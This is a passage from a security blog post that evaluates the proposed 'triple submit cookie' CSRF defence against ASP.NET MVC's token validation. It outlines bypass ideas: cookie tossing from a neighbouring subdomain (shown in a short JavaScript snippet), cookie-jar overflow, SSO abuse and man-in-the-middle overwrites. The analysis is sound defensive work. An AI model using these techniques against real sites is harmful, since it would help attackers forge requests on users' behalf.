        if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
        {
            throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
        }
        if (!object.Equals(fieldToken.ClaimUid, objB))
        {
            throw HttpAntiForgeryException.CreateClaimUidMismatchException();
        }
        if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
        {
            throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
        }
    }
}

Even given the assumption the attackers can write cookies, this is difficult to attack. It’s stateless, and it does compare the cookie to forms, but it also extracts and validates username, the claimUid, and any additional data. By default, one user’s token won’t work on another user or another session. I don’t know the details of other stateless CSRF implementations, but with sites that look like they’re doing things right (Gmail CSRF protection) I’d bet they do something similar.

Any proposed new CSRF protection should offer some advantage against existing commonly implemented solutions (e.g. ASP.net MVC CSRF protection). It doesn’t need to be better at everything, but it should be better at something.

Triple Submit Cookies

John Wilinder recently wrote up an interesting variation on the double submit scheme called “triple submit”. Thanks to John for writing this up, it’s great people are looking at this problem – web app people often don’t realize how easy cookie writes can be. There’s no implementation for triple submit available at the moment, but this is what I gather:

  • The value of the cookie is compared with the POST value, like a regular double submit.
  • A cookie is set with HTTP-Only
  • There can only be exactly one cookie with the prefix in the request or the request fails.
  • The name of the cookie has a prefix plus random value (e.g. random-cookie7-afcade2…).

Let’s look at these one by one.

Cookie == Post, HTTP-Only

Checking that a cookie is equal to POST is the same as the naive double submit solution I mentioned above. It does add security, but has weaknesses. Like I mention above, people in neighboring domains can write cookies, and people in the middle can write cookies.

HTTP-Only is irrelevant in this case. The property matters when reading cookies, but not writing new ones.

Exactly One Cookie with the Prefix

The third bullet does add security when compared with the naive solution. A common attack with naive double submit is to write a cookie with an XSS in a neighboring domain (e.g. from site1.example.com to site2.example.com). If the user is logged in with cookies and they write a single cookie of their own, this will create two cookies, which the server could detect. This is pretty good, and prevents quite a few attacks, or at least makes them a lot harder.

There are still several issues I have with this:

First, performance penalty/implementation flaws. It might be more complicated than you think to verify exactly one cookie is being sent. A lot (most?) web application frameworks treat reading cookies as a case insensitive dictionary. In PHP, the $_COOKIE variable is theoretically an array of all the cookies, but if the browser sends “Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss; CsRf=IMDIFFERENT”, the array will only contain the first one. It’s similar with .NET’s Request.Cookie array, and most other server side implementations. One example of an implementation flaw is if the code made the (unlikely) mistake of referencing the POST value (e.g.Request.cookies[$POST_VAL]) then an adversary could attack this in the same way he’d attack the naive double submit. To prevent this, it seems like triple submit would have to iterate through each cookie name value pair and check for the prefix. What’s the performance penalty? It might be negligible, but with modern applications having dozens of cookies that would have to be iterated on with each request, it is something that should be measured.

Second, not all login methods require cookies. Say triple submit was implemented without any implementation flaws, but somebody used this as the method to prevent CSRF on a single sign on Kerberos/NTLM authed website. If the victim hasn’t logged in so that their token is set, an attacker could toss a cookie of the correct format (random-cookie7-…) and the exploitabiliy would be equivalent to the naive double submit. There would only be one cookie so the check would pass, and it’s SSO so the victim is always logged in.

Third, all browser cookie-jars overflow eventually. This attack would be difficult, but aren’t a lot of attacks when they start as ideas? Say the victim’s browser had cookies that looked like this:

AuthCookie=<guid>;Name=websters;random-cookie7-<random value>=<guid>

In triple submit, the POST value has to match the random-cookie7 prefix. One attack would be to overflow the cookie jar with some precision, so that it overflows random-cookie7, but not AuthCookie. In the end, it might look like the following:

random-cookie7-<attacker-value>=<attacker guid>;filler=1;filler=2;....
AuthCookie=<guid> (rest has overflowed)

Using this, an attacker could potentially bypass the CSRF protection.

Cookie Name with Prefix

The cookie name is the third thing submitted in the ‘triple submit’ solution. This probably doesn’t add security in the XSS neighbor case, but does add some in the MiTM case.

It’s common for people think there is only one cookie written if the cookie name is the same. Whenever I’ve tested, this isn’t the case. Even if the “tossed cookie” names are identical the browser still sends two cookies. Let’s look at an example.

A legitimate site, example.com might set a cookie:

<script>
document.cookie = "csrf=foofoofoofoofoofoofoofoo; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

If a neighboring site, host1.example.com tries to write a cookie with the same name:

<script>
document.cookie = "csrf=tosstosstosstosstoss; domain=.example.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

In major browsers there now exist two cookies with the same name. In the requests to example.com it now looks something like this:

Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss

The point of this is, in the neighbor XSS case there will almost always be more than one cookie in the request whether there’s a hidden unique name or not.

Another more rare but applicable attack is a MiTM where an attacker is trying to overwrite a secure HTTPS-only cookie from an HTTP site. This is a different story. If I’m in the middle, I can write cookies, even secure ones, as long as I know the name of the cookie. Randomizing the cookie name makes an attack quite a bit harder; the goal shifts from overwriting something specific to trying to expire a random cookie where I don’t know the name. However, I can still imagine attacks on an implementation of triple submit when you’re in the middle: If the server legitimately expires the CSRF tokens (it would probably have to at some point) you might be able to force this request. If the cookies don’t have expire dates, you could crash the browser to force these cookies to expire. If the random piece of the cookie name isn’t that long you could expire millions and eventually guess the right one. There might also be clever SSL tricks that cut up certain responses so that an old cookie is expired but the new one isn’t set (leaving you free to set one). Speculative attacks on speculative implementations aside, with a good implementation having the random name would at least make overwriting the cookie from the middle significantly more difficult.

The Simplicity Advantage?

I think the best argument in favor of triple submit versus a double submit tied to the auth tokens (e.g. MVCv4) would be one of simplicity. I don’t like this argument much for a few reasons

  • Implementation wise, CSRF mitigations only need to be implemented one time per framework, and implementation isn’t substantially more difficult to code one way or the other.
  • You always need at least some minimal knowledge of the application. If you were to put a CSRF solution into a WAF and added this as a rule for all POST requests, what if the application sometimes also changes state for GET? Solutions tied with auth tokens really wouldn’t be much more complicated, even with WAF type scenarios.
  • Although with triple submit the idea is simpler, I think there are quite a few more gotchas, and it seems more easy to mess up. This is somewhat subjective, but I’ve tried to point out a few ways the implementation could have problems in this post

Conclusions

Triple cookie submit is an improvement over naive double submit. Naive double submit makes some CSRFs more difficult to exploit, and like that, triple submit makes many vectors even more difficult to exploit. However, there are still attack vectors that triple submit doesn’t protect against – overflowing the cookie jar, CSRF against SSO auth, and probably some clever MiTM vectors. Although triple submit offers some additional security, I think this is still worse than other existing solutions.